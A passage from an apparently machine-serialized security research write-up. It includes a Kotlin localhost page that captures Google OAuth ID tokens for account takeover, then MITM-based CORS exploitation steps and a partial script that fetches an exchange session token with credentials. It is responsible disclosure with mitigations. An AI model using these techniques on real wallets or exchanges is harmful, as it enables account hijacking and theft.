alert(\"credential: \" + response.credential);\n }\n\n window.onload = async function () {\n const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n const client_id = oauth_url.searchParams.get(\"client_id\");\n google.accounts.id.initialize({\n client_id: client_id,\n callback: handleCredentialResponse,\n auto_select: true\n });\n\n google.accounts.id.renderButton(\n document.getElementById(\"g_id_signin\"),\n { theme: \"outline\", size: \"large\" }\n );\n\n google.accounts.id.prompt();\n };\n \"\"\".trimIndent()\n }\n }\n }\n body {\n h1 { +\"Login here:\" }\n div {\n id = \"g_id_signin\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n",[98265],{"type":19,"tag":27,"props":98266,"children":98267},{"__ignoreMap":7},[98268,98295,98314,98321,98340,98351,98362,98393,98416,98463,98470,98477,98484,98524,98535,98542,98549,98568,98591,98602,98621,98636,98647,98667,98678,98695,98721,98745,98752,98763,98775,98788,98796,98804,98811,98818,98826,98834,98842,98850,98858,98866,98874,98881,98888,98896,98904,98912,98919,98926,98934,98941,98962,98970,98977,98984,98995,99019,99031,99048,99055,99062,99070,99078,99086,99114],{"type":19,"tag":168,"props":98269,"children":98270},{"class":170,"line":171},[98271,98275,98279,98283,98287,98291],{"type":19,"tag":168,"props":98272,"children":98273},{"style":382},[98274],{"type":24,"value":67931},{"type":19,"tag":168,"props":98276,"children":98277},{"style":382},[98278],{"type":24,"value":3642},{"type":19,"tag":168,"props":98280,"children":98281},{"style":175},[98282],{"type":24,"value":67940},{"type":19,"tag":168,"props":98284,"children":98285},{"style":212},[98286],{"type":24,"value":67945},{"type":19,"tag":168,"props":98288,"children":98289},{"style":825},[98290],{"type":24,"value":67950},{"type":19,"tag":168,"props":98292,"children":98293},{"style":212},[98294],{"type":24,"value":67955},{"type":19,"tag":168,"props":98296,"children":98297},{"class":170,"line":198},[98298,98302,98306,98310],{"type":19,"tag":168,"props":98299,"children":98300},{"style":382},[98301],{"type":24,"value":67963},{"type":19,"tag":168,"props":98303,"children":98304},{"style":212},[98305],{"type":24,"value":948},{"type":19,"tag":168,"props":98307,"children":98308},{"style":175},[98309],{"type":24,"value":67972},{"type":19,"tag":168,"props":98311,"children":98312},{"style":212},[98313],{"type":24,"value":67977},{"type":19,"tag":168,"props":98315,"children":98316},{"class":170,"line":415},[98317],{"type":19,"tag":168,"props":98318,"children":98319},{"emptyLinePlaceholder":14},[98320],{"type":24,"value":1093},{"type":19,"tag":168,"props":98322,"children":98323},{"class":170,"line":450},[98324,98328,98332,98336],{"type":19,"tag":168,"props":98325,"children":98326},{"style":175},[98327],{"type":24,"value":68000},{"type":19,"tag":168,"props":98329,"children":98330},{"style":212},[98331],{"type":24,"value":68005},{"type":19,"tag":168,"props":98333,"children":98334},{"style":175},[98335],{"type":24,"value":68010},{"type":19,"tag":168,"props":98337,"children":98338},{"style":212},[98339],{"type":24,"value":691},{"type":19,"tag":168,"props":98341,"children":98342},{"class":170,"line":560},[98343,98347],{"type":19,"tag":168,"props":98344,"children":98345},{"style":419},[98346],{"type":24,"value":68022},{"type":19,"tag":168,"props":98348,"children":98349},{"style":212},[98350],{"type":24,"value":691},{"type":19,"tag":168,"props":98352,"children":98353},{"class":170,"line":666},[98354,98358],{"type":19,"tag":168,"props":98355,"children":98356},{"style":175},[98357],{"type":24,"value":68034},{"type":19,"tag":168,"props":98359,"children":98360},{"style":212},[98361],{"type":24,"value":5172},{"type":19,"tag":168,"props":98363,"children":98364},{"class":170,"line":694},[98365,98369,98373,98377,98381,98385,98389],{"type":19,"tag":168,"props":98366,"children":98367},{"style":212},[98368],{"type":24,"value":68046},{"type":19,"tag":168,"props":98370,"children":98371},{"style":175},[98372],{"type":24,"value":68051},{"type":19,"tag":168,"props":98374,"children":98375},{"style":212},[98376],{"type":24,"value":500},{"type":19,"tag":168,"props":98378,"children":98379},{"style":181},[98380],{"type":24,"value":68060},{"type":19,"tag":168,"props":98382,"children":98383},{"style":212},[98384],{"type":24,"value":471},{"type":19,"tag":168,"props":98386,"children":98387},{"style":181},[98388],{"type":24,"value":68069},{"type":19,"tag":168,"props":98390,"children":98391},{"style":212},[98392],{"type":24,"value":557},{"type":19,"tag":168,"props":98394,"children":98395},{"class":170,"line":707},[98396,98400,98404,98408,98412],{"type":19,"tag":168,"props":98397,"children":98398},{"style":212},[98399],{"type":24,"value":68081},{"type":19,"tag":168,"props":98401,"children":98402},{"style":382},[98403],{"type":24,"value":45893},{"type":19,"tag":168,"props":98405,"children":98406},{"style":212},[98407],{"type":24,"value":68090},{"type":19,"tag":168,"props":98409,"children":98410},{"style":825},[98411],{"type":24,"value":68095},{"type":19,"tag":168,"props":98413,"children":98414},{"style":212},[98415],{"type":24,"value":12250},{"type":19,"tag":168,"props":98417,"children":98418},{"class":170,"line":725},[98419,98423,98427,98431,98435,98439,98443,98447,98451,98455,98459],{"type":19,"tag":168,"props":98420,"children":98421},{"style":212},[98422],{"type":24,"value":68046},{"type":19,"tag":168,"props":98424,"children":98425},{"style":175},[98426],{"type":24,"value":48937},{"type":19,"tag":168,"props":98428,"children":98429},{"style":212},[98430],{"type":24,"value":500},{"type":19,"tag":168,"props":98432,"children":98433},{"style":181},[98434],{"type":24,"value":68060},{"type":19,"tag":168,"props":98436,"children":98437},{"style":212},[98438],{"type":24,"value":471},{"type":19,"tag":168,"props":98440,"children":98441},{"style":181},[98442],{"type":24,"value":68127},{"type":19,"tag":168,"props":98444,"children":98445},{"style":382},[98446],{"type":24,"value":31582},{"type":19,"tag":168,"props":98448,"children":98449},{"style":399},[98450],{"type":24,"value":68136},{"type":19,"tag":168,"props":98452,"children":98453},{"style":382},[98454],{"type":24,"value":31614},{"type":19,"tag":168,"props":98456,"children":98457},{"style":181},[98458],{"type":24,"value":17514},{"type":19,"tag":168,"props":98460,"children":98461},{"style":212},[98462],{"type":24,"value":68149},{"type":19,"tag":168,"props":98464,"children":98465},{"class":170,"line":746},[98466],{"type":19,"tag":168,"props":98467,"children":98468},{"style":212},[98469],{"type":24,"value":56369},{"type":19,"tag":168,"props":98471,"children":98472},{"class":170,"line":755},[98473],{"type":19,"tag":168,"props":98474,"children":98475},{"style":212},[98476],{"type":24,"value":752},{"type":19,"tag":168,"props":98478,"children":98479},{"class":170,"line":1008},[98480],{"type":19,"tag":168,"props":98481,"children":98482},{"emptyLinePlaceholder":14},[98483],{"type":24,"value":1093},{"type":19,"tag":168,"props":98485,"children":98486},{"class":170,"line":1025},[98487,98491,98495,98499,98503,98507,98511,98515,98520],{"type":19,"tag":168,"props":98488,"children":98489},{"style":382},[98490],{"type":24,"value":68186},{"type":19,"tag":168,"props":98492,"children":98493},{"style":212},[98494],{"type":24,"value":68212},{"type":19,"tag":168,"props":98496,"children":98497},{"style":399},[98498],{"type":24,"value":486},{"type":19,"tag":168,"props":98500,"children":98501},{"style":175},[98502],{"type":24,"value":68221},{"type":19,"tag":168,"props":98504,"children":98505},{"style":212},[98506],{"type":24,"value":68226},{"type":19,"tag":168,"props":98508,"children":98509},{"style":175},[98510],{"type":24,"value":36687},{"type":19,"tag":168,"props":98512,"children":98513},{"style":212},[98514],{"type":24,"value":500},{"type":19,"tag":168,"props":98516,"children":98517},{"style":181},[98518],{"type":24,"value":98519},"\"http://localhost:3000\"",{"type":19,"tag":168,"props":98521,"children":98522},{"style":212},[98523],{"type":24,"value":17166},{"type":19,"tag":168,"props":98525,"children":98526},{"class":170,"line":1042},[98527,98531],{"type":19,"tag":168,"props":98528,"children":98529},{"style":175},[98530],{"type":24,"value":68243},{"type":19,"tag":168,"props":98532,"children":98533},{"style":212},[98534],{"type":24,"value":68248},{"type":19,"tag":168,"props":98536,"children":98537},{"class":170,"line":1055},[98538],{"type":19,"tag":168,"props":98539,"children":98540},{"style":212},[98541],{"type":24,"value":761},{"type":19,"tag":168,"props":98543,"children":98544},{"class":170,"line":1064},[98545],{"type":19,"tag":168,"props":98546,"children":98547},{"emptyLinePlaceholder":14},[98548],{"type":24,"value":1093},{"type":19,"tag":168,"props":98550,"children":98551},{"class":170,"line":1087},[98552,98556,98560,98564],{"type":19,"tag":168,"props":98553,"children":98554},{"style":382},[98555],{"type":24,"value":68270},{"type":19,"tag":168,"props":98557,"children":98558},{"style":382},[98559],{"type":24,"value":3642},{"type":19,"tag":168,"props":98561,"children":98562},{"style":175},[98563],{"type":24,"value":68279},{"type":19,"tag":168,"props":98565,"children":98566},{"style":212},[98567],{"type":24,"value":13184},{"type":19,"tag":168,"props":98569,"children":98570},{"class":170,"line":1096},[98571,98575,98579,98583,98587],{"type":19,"tag":168,"props":98572,"children":98573},{"style":175},[98574],{"type":24,"value":68291},{"type":19,"tag":168,"props":98576,"children":98577},{"style":212},[98578],{"type":24,"value":68296},{"type":19,"tag":168,"props":98580,"children":98581},{"style":399},[98582],{"type":24,"value":486},{"type":19,"tag":168,"props":98584,"children":98585},{"style":192},[98586],{"type":24,"value":68305},{"type":19,"tag":168,"props":98588,"children":98589},{"style":212},[98590],{"type":24,"value":12250},{"type":19,"tag":168,"props":98592,"children":98593},{"class":170,"line":1105},[98594,98598],{"type":19,"tag":168,"props":98595,"children":98596},{"style":175},[98597],{"type":24,"value":68317},{"type":19,"tag":168,"props":98599,"children":98600},{"style":212},[98601],{"type":24,"value":691},{"type":19,"tag":168,"props":98603,"children":98604},{"class":170,"line":1174},[98605,98609,98613,98617],{"type":19,"tag":168,"props":98606,"children":98607},{"style":382},[98608],{"type":24,"value":68329},{"type":19,"tag":168,"props":98610,"children":98611},{"style":212},[98612],{"type":24,"value":500},{"type":19,"tag":168,"props":98614,"children":98615},{"style":181},[98616],{"type":24,"value":68338},{"type":19,"tag":168,"props":98618,"children":98619},{"style":212},[98620],{"type":24,"value":12250},{"type":19,"tag":168,"props":98622,"children":98623},{"class":170,"line":1182},[98624,98628,98632],{"type":19,"tag":168,"props":98625,"children":98626},{"style":212},[98627],{"type":24,"value":68350},{"type":19,"tag":168,"props":98629,"children":98630},{"style":175},[98631],{"type":24,"value":68355},{"type":19,"tag":168,"props":98633,"children":98634},{"style":212},[98635],{"type":24,"value":691},{"type":19,"tag":168,"props":98637,"children":98638},{"class":170,"line":1212},[98639,98643],{"type":19,"tag":168,"props":98640,"children":98641},{"style":175},[98642],{"type":24,"value":68367},{"type":19,"tag":168,"props":98644,"children":98645},{"style":212},[98646],{"type":24,"value":691},{"type":19,"tag":168,"props":98648,"children":98649},{"class":170,"line":1220},[98650,98654,98658,98663],{"type":19,"tag":168,"props":98651,"children":98652},{"style":175},[98653],{"type":24,"value":68444},{"type":19,"tag":168,"props":98655,"children":98656},{"style":212},[98657],{"type":24,"value":500},{"type":19,"tag":168,"props":98659,"children":98660},{"style":181},[98661],{"type":24,"value":98662},"\"Test\"",{"type":19,"tag":168,"props":98664,"children":98665},{"style":212},[98666],{"type":24,"value":557},{"type":19,"tag":168,"props":98668,"children":98669},{"class":170,"line":1252},[98670,98674],{"type":19,"tag":168,"props":98671,"children":98672},{"style":175},[98673],{"type":24,"value":68510},{"type":19,"tag":168,"props":98675,"children":98676},{"style":212},[98677],{"type":24,"value":691},{"type":19,"tag":168,"props":98679,"children":98680},{"class":170,"line":1260},[98681,98686,98690],{"type":19,"tag":168,"props":98682,"children":98683},{"style":212},[98684],{"type":24,"value":98685}," src ",{"type":19,"tag":168,"props":98687,"children":98688},{"style":399},[98689],{"type":24,"value":486},{"type":19,"tag":168,"props":98691,"children":98692},{"style":181},[98693],{"type":24,"value":98694}," \"https://accounts.google.com/gsi/client\"\n",{"type":19,"tag":168,"props":98696,"children":98697},{"class":170,"line":1320},[98698,98703,98708,98712,98716],{"type":19,"tag":168,"props":98699,"children":98700},{"style":212},[98701],{"type":24,"value":98702}," attributes[",{"type":19,"tag":168,"props":98704,"children":98705},{"style":181},[98706],{"type":24,"value":98707},"\"async\"",{"type":19,"tag":168,"props":98709,"children":98710},{"style":212},[98711],{"type":24,"value":6099},{"type":19,"tag":168,"props":98713,"children":98714},{"style":399},[98715],{"type":24,"value":486},{"type":19,"tag":168,"props":98717,"children":98718},{"style":181},[98719],{"type":24,"value":98720}," \"\"\n",{"type":19,"tag":168,"props":98722,"children":98723},{"class":170,"line":6486},[98724,98728,98733,98737,98741],{"type":19,"tag":168,"props":98725,"children":98726},{"style":212},[98727],{"type":24,"value":98702},{"type":19,"tag":168,"props":98729,"children":98730},{"style":181},[98731],{"type":24,"value":98732},"\"defer\"",{"type":19,"tag":168,"props":98734,"children":98735},{"style":212},[98736],{"type":24,"value":6099},{"type":19,"tag":168,"props":98738,"children":98739},{"style":399},[98740],{"type":24,"value":486},{"type":19,"tag":168,"props":98742,"children":98743},{"style":181},[98744],{"type":24,"value":98720},{"type":19,"tag":168,"props":98746,"children":98747},{"class":170,"line":6504},[98748],{"type":19,"tag":168,"props":98749,"children":98750},{"style":212},[98751],{"type":24,"value":68535},{"type":19,"tag":168,"props":98753,"children":98754},{"class":170,"line":6549},[98755,98759],{"type":19,"tag":168,"props":98756,"children":98757},{"style":175},[98758],{"type":24,"value":68510},{"type":19,"tag":168,"props":98760,"children":98761},{"style":212},[98762],{"type":24,"value":691},{"type":19,"tag":168,"props":98764,"children":98765},{"class":170,"line":6655},[98766,98771],{"type":19,"tag":168,"props":98767,"children":98768},{"style":175},[98769],{"type":24,"value":98770}," unsafe",{"type":19,"tag":168,"props":98772,"children":98773},{"style":212},[98774],{"type":24,"value":691},{"type":19,"tag":168,"props":98776,"children":98777},{"class":170,"line":20965},[98778,98783],{"type":19,"tag":168,"props":98779,"children":98780},{"style":399},[98781],{"type":24,"value":98782}," +",{"type":19,"tag":168,"props":98784,"children":98785},{"style":181},[98786],{"type":24,"value":98787},"\"\"\"\n",{"type":19,"tag":168,"props":98789,"children":98790},{"class":170,"line":21000},[98791],{"type":19,"tag":168,"props":98792,"children":98793},{"style":181},[98794],{"type":24,"value":98795}," function handleCredentialResponse(response) {\n",{"type":19,"tag":168,"props":98797,"children":98798},{"class":170,"line":21008},[98799],{"type":19,"tag":168,"props":98800,"children":98801},{"style":181},[98802],{"type":24,"value":98803}," alert(\"credential: \" + response.credential);\n",{"type":19,"tag":168,"props":98805,"children":98806},{"class":170,"line":21016},[98807],{"type":19,"tag":168,"props":98808,"children":98809},{"style":181},[98810],{"type":24,"value":761},{"type":19,"tag":168,"props":98812,"children":98813},{"class":170,"line":21025},[98814],{"type":19,"tag":168,"props":98815,"children":98816},{"emptyLinePlaceholder":14},[98817],{"type":24,"value":1093},{"type":19,"tag":168,"props":98819,"children":98820},{"class":170,"line":21067},[98821],{"type":19,"tag":168,"props":98822,"children":98823},{"style":181},[98824],{"type":24,"value":98825}," window.onload = async function () {\n",{"type":19,"tag":168,"props":98827,"children":98828},{"class":170,"line":21100},[98829],{"type":19,"tag":168,"props":98830,"children":98831},{"style":181},[98832],{"type":24,"value":98833}," const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":19,"tag":168,"props":98835,"children":98836},{"class":170,"line":21108},[98837],{"type":19,"tag":168,"props":98838,"children":98839},{"style":181},[98840],{"type":24,"value":98841}," const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":19,"tag":168,"props":98843,"children":98844},{"class":170,"line":21116},[98845],{"type":19,"tag":168,"props":98846,"children":98847},{"style":181},[98848],{"type":24,"value":98849}," google.accounts.id.initialize({\n",{"type":19,"tag":168,"props":98851,"children":98852},{"class":170,"line":21125},[98853],{"type":19,"tag":168,"props":98854,"children":98855},{"style":181},[98856],{"type":24,"value":98857}," client_id: client_id,\n",{"type":19,"tag":168,"props":98859,"children":98860},{"class":170,"line":21201},[98861],{"type":19,"tag":168,"props":98862,"children":98863},{"style":181},[98864],{"type":24,"value":98865}," callback: handleCredentialResponse,\n",{"type":19,"tag":168,"props":98867,"children":98868},{"class":170,"line":21234},[98869],{"type":19,"tag":168,"props":98870,"children":98871},{"style":181},[98872],{"type":24,"value":98873}," auto_select: true\n",{"type":19,"tag":168,"props":98875,"children":98876},{"class":170,"line":21242},[98877],{"type":19,"tag":168,"props":98878,"children":98879},{"style":181},[98880],{"type":24,"value":4732},{"type":19,"tag":168,"props":98882,"children":98883},{"class":170,"line":21250},[98884],{"type":19,"tag":168,"props":98885,"children":98886},{"emptyLinePlaceholder":14},[98887],{"type":24,"value":1093},{"type":19,"tag":168,"props":98889,"children":98890},{"class":170,"line":21287},[98891],{"type":19,"tag":168,"props":98892,"children":98893},{"style":181},[98894],{"type":24,"value":98895}," google.accounts.id.renderButton(\n",{"type":19,"tag":168,"props":98897,"children":98898},{"class":170,"line":21300},[98899],{"type":19,"tag":168,"props":98900,"children":98901},{"style":181},[98902],{"type":24,"value":98903}," document.getElementById(\"g_id_signin\"),\n",{"type":19,"tag":168,"props":98905,"children":98906},{"class":170,"line":21313},[98907],{"type":19,"tag":168,"props":98908,"children":98909},{"style":181},[98910],{"type":24,"value":98911}," { theme: \"outline\", size: \"large\" }\n",{"type":19,"tag":168,"props":98913,"children":98914},{"class":170,"line":21326},[98915],{"type":19,"tag":168,"props":98916,"children":98917},{"style":181},[98918],{"type":24,"value":4202},{"type":19,"tag":168,"props":98920,"children":98921},{"class":170,"line":21380},[98922],{"type":19,"tag":168,"props":98923,"children":98924},{"emptyLinePlaceholder":14},[98925],{"type":24,"value":1093},{"type":19,"tag":168,"props":98927,"children":98928},{"class":170,"line":21389},[98929],{"type":19,"tag":168,"props":98930,"children":98931},{"style":181},[98932],{"type":24,"value":98933}," google.accounts.id.prompt();\n",{"type":19,"tag":168,"props":98935,"children":98936},{"class":170,"line":29753},[98937],{"type":19,"tag":168,"props":98938,"children":98939},{"style":181},[98940],{"type":24,"value":36472},{"type":19,"tag":168,"props":98942,"children":98943},{"class":170,"line":29774},[98944,98949,98953,98958],{"type":19,"tag":168,"props":98945,"children":98946},{"style":181},[98947],{"type":24,"value":98948}," \"\"\"",{"type":19,"tag":168,"props":98950,"children":98951},{"style":212},[98952],{"type":24,"value":948},{"type":19,"tag":168,"props":98954,"children":98955},{"style":175},[98956],{"type":24,"value":98957},"trimIndent",{"type":19,"tag":168,"props":98959,"children":98960},{"style":212},[98961],{"type":24,"value":5172},{"type":19,"tag":168,"props":98963,"children":98964},{"class":170,"line":78440},[98965],{"type":19,"tag":168,"props":98966,"children":98967},{"style":212},[98968],{"type":24,"value":98969}," }\n",{"type":19,"tag":168,"props":98971,"children":98972},{"class":170,"line":78453},[98973],{"type":19,"tag":168,"props":98974,"children":98975},{"style":212},[98976],{"type":24,"value":68535},{"type":19,"tag":168,"props":98978,"children":98979},{"class":170,"line":78461},[98980],{"type":19,"tag":168,"props":98981,"children":98982},{"style":212},[98983],{"type":24,"value":68465},{"type":19,"tag":168,"props":98985,"children":98986},{"class":170,"line":78469},[98987,98991],{"type":19,"tag":168,"props":98988,"children":98989},{"style":175},[98990],{"type":24,"value":68473},{"type":19,"tag":168,"props":98992,"children":98993},{"style":212},[98994],{"type":24,"value":691},{"type":19,"tag":168,"props":98996,"children":98997},{"class":170,"line":78477},[98998,99002,99006,99010,99015],{"type":19,"tag":168,"props":98999,"children":99000},{"style":175},[99001],{"type":24,"value":68485},{"type":19,"tag":168,"props":99003,"children":99004},{"style":212},[99005],{"type":24,"value":7027},{"type":19,"tag":168,"props":99007,"children":99008},{"style":399},[99009],{"type":24,"value":1811},{"type":19,"tag":168,"props":99011,"children":99012},{"style":181},[99013],{"type":24,"value":99014},"\"Login here:\"",{"type":19,"tag":168,"props":99016,"children":99017},{"style":212},[99018],{"type":24,"value":7037},{"type":19,"tag":168,"props":99020,"children":99021},{"class":170,"line":78517},[99022,99027],{"type":19,"tag":168,"props":99023,"children":99024},{"style":175},[99025],{"type":24,"value":99026}," div",{"type":19,"tag":168,"props":99028,"children":99029},{"style":212},[99030],{"type":24,"value":691},{"type":19,"tag":168,"props":99032,"children":99033},{"class":170,"line":78525},[99034,99039,99043],{"type":19,"tag":168,"props":99035,"children":99036},{"style":212},[99037],{"type":24,"value":99038}," id ",{"type":19,"tag":168,"props":99040,"children":99041},{"style":399},[99042],{"type":24,"value":486},{"type":19,"tag":168,"props":99044,"children":99045},{"style":181},[99046],{"type":24,"value":99047}," \"g_id_signin\"\n",{"type":19,"tag":168,"props":99049,"children":99050},{"class":170,"line":85712},[99051],{"type":19,"tag":168,"props":99052,"children":99053},{"style":212},[99054],{"type":24,"value":68535},{"type":19,"tag":168,"props":99056,"children":99057},{"class":170,"line":85720},[99058],{"type":19,"tag":168,"props":99059,"children":99060},{"style":212},[99061],{"type":24,"value":68465},{"type":19,"tag":168,"props":99063,"children":99065},{"class":170,"line":99064},62,[99066],{"type":19,"tag":168,"props":99067,"children":99068},{"style":212},[99069],{"type":24,"value":68550},{"type":19,"tag":168,"props":99071,"children":99073},{"class":170,"line":99072},63,[99074],{"type":19,"tag":168,"props":99075,"children":99076},{"style":212},[99077],{"type":24,"value":68558},{"type":19,"tag":168,"props":99079,"children":99081},{"class":170,"line":99080},64,[99082],{"type":19,"tag":168,"props":99083,"children":99084},{"style":212},[99085],{"type":24,"value":56369},{"type":19,"tag":168,"props":99087,"children":99089},{"class":170,"line":99088},65,[99090,99094,99098,99102,99106,99110],{"type":19,"tag":168,"props":99091,"children":99092},{"style":212},[99093],{"type":24,"value":68573},{"type":19,"tag":168,"props":99095,"children":99096},{"style":175},[99097],{"type":24,"value":68578},{"type":19,"tag":168,"props":99099,"children":99100},{"style":212},[99101],{"type":24,"value":68583},{"type":19,"tag":168,"props":99103,"children":99104},{"style":399},[99105],{"type":24,"value":486},{"type":19,"tag":168,"props":99107,"children":99108},{"style":382},[99109],{"type":24,"value":9914},{"type":19,"tag":168,"props":99111,"children":99112},{"style":212},[99113],{"type":24,"value":557},{"type":19,"tag":168,"props":99115,"children":99117},{"class":170,"line":99116},66,[99118],{"type":19,"tag":168,"props":99119,"children":99120},{"style":212},[99121],{"type":24,"value":761},{"type":19,"tag":20,"props":99123,"children":99124},{},[99125],{"type":24,"value":99126},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":19,"tag":20,"props":99128,"children":99129},{},[99130],{"type":24,"value":99131},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":19,"tag":7050,"props":99133,"children":99135},{"id":99134},"how-to-mitigate",[99136],{"type":24,"value":99137},"How to Mitigate",{"type":19,"tag":20,"props":99139,"children":99140},{},[99141],{"type":24,"value":99142},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":19,"tag":36,"props":99144,"children":99146},{"id":99145},"exploiting-cors",[99147],{"type":24,"value":99148},"Exploiting CORS",{"type":19,"tag":20,"props":99150,"children":99151},{},[99152],{"type":24,"value":99153},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":19,"tag":20,"props":99155,"children":99156},{},[99157,99159,99165],{"type":24,"value":99158},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":19,"tag":27,"props":99160,"children":99162},{"className":99161},[],[99163],{"type":24,"value":99164},"http://",{"type":24,"value":99166}," schema for any subdomain:",{"type":19,"tag":158,"props":99168,"children":99172},{"className":99169,"code":99170,"language":99171,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[99173],{"type":19,"tag":27,"props":99174,"children":99175},{"__ignoreMap":7},[99176,99184,99192,99200],{"type":19,"tag":168,"props":99177,"children":99178},{"class":170,"line":171},[99179],{"type":19,"tag":168,"props":99180,"children":99181},{},[99182],{"type":24,"value":99183},"HTTP 200 OK\n",{"type":19,"tag":168,"props":99185,"children":99186},{"class":170,"line":198},[99187],{"type":19,"tag":168,"props":99188,"children":99189},{},[99190],{"type":24,"value":99191},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":19,"tag":168,"props":99193,"children":99194},{"class":170,"line":415},[99195],{"type":19,"tag":168,"props":99196,"children":99197},{},[99198],{"type":24,"value":99199},"Access-Control-Allow-Credentials: true\n",{"type":19,"tag":168,"props":99201,"children":99202},{"class":170,"line":450},[99203],{"type":19,"tag":168,"props":99204,"children":99205},{},[99206],{"type":24,"value":7761},{"type":19,"tag":7050,"props":99208,"children":99210},{"id":99209},"cors-misconfiguration-by-lack-of-tls",[99211],{"type":24,"value":99212},"CORS Misconfiguration by Lack of TLS",{"type":19,"tag":20,"props":99214,"children":99215},{},[99216,99218,99224],{"type":24,"value":99217},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":19,"tag":27,"props":99219,"children":99221},{"className":99220},[],[99222],{"type":24,"value":99223},"exchange.com",{"type":24,"value":99225}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":19,"tag":20,"props":99227,"children":99228},{},[99229],{"type":24,"value":99230},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":19,"tag":43,"props":99232,"children":99233},{},[99234,99254],{"type":19,"tag":47,"props":99235,"children":99236},{},[99237,99239,99244,99246,99252],{"type":24,"value":99238},"Chrome --> won't work because cookies are not sent in ",{"type":19,"tag":27,"props":99240,"children":99242},{"className":99241},[],[99243],{"type":24,"value":99164},{"type":24,"value":99245}," --> ",{"type":19,"tag":27,"props":99247,"children":99249},{"className":99248},[],[99250],{"type":24,"value":99251},"https://",{"type":24,"value":99253}," requests, even if same-site",{"type":19,"tag":47,"props":99255,"children":99256},{},[99257,99259],{"type":24,"value":99258},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":19,"tag":27,"props":99260,"children":99262},{"className":99261},[],[99263],{"type":24,"value":35240},{"type":19,"tag":7050,"props":99265,"children":99267},{"id":99266},"exploit-1",[99268],{"type":24,"value":97598},{"type":19,"tag":20,"props":99270,"children":99271},{},[99272],{"type":24,"value":99273},"To exploit it, we must follow some steps:",{"type":19,"tag":2869,"props":99275,"children":99276},{},[99277,99282,99287],{"type":19,"tag":47,"props":99278,"children":99279},{},[99280],{"type":24,"value":99281},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":19,"tag":47,"props":99283,"children":99284},{},[99285],{"type":24,"value":99286},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":19,"tag":47,"props":99288,"children":99289},{},[99290,99292,99297],{"type":24,"value":99291},"Use ",{"type":19,"tag":27,"props":99293,"children":99295},{"className":99294},[],[99296],{"type":24,"value":35240},{"type":24,"value":99298}," with CORS to do something malicious using the victim's account",{"type":19,"tag":20,"props":99300,"children":99301},{},[99302],{"type":24,"value":99303},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":19,"tag":20,"props":99305,"children":99306},{},[99307,99309,99314],{"type":24,"value":99308},"Once the redirect to the ",{"type":19,"tag":27,"props":99310,"children":99312},{"className":99311},[],[99313],{"type":24,"value":99164},{"type":24,"value":99315}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":19,"tag":158,"props":99317,"children":99319},{"className":28835,"code":99318,"language":28837,"meta":7,"style":7},"(async () => {\n let res = await fetch('https://www.exchange.com/api/session_token', {\n credentials: 'include',\n method: 'POST',\n });\n console.log(await 